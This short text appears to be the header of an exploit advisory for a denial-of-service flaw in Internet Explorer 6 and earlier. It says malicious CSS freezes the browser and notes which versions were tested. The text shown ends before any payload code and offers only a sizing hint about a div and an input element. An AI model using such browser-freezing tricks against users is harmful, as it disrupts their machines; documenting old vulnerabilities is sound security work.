IE <= 6 DoS vulnerability

<!--
# Internet Explorer <= 6 DoS vulnerability
#
# tested IE6 on XPx64 and IE 5.1, 5.5 and 6 on XP SP2 (eng)
# all versions are vulnerable
# ie 7 (beta 2 and 3) are not affected
#
# this malicious css code freezes/ dos the internet explorer
# prior version 7 and stops any user interaction
# the absolute size of the div element does not matter but has
# to be higher than the input's one
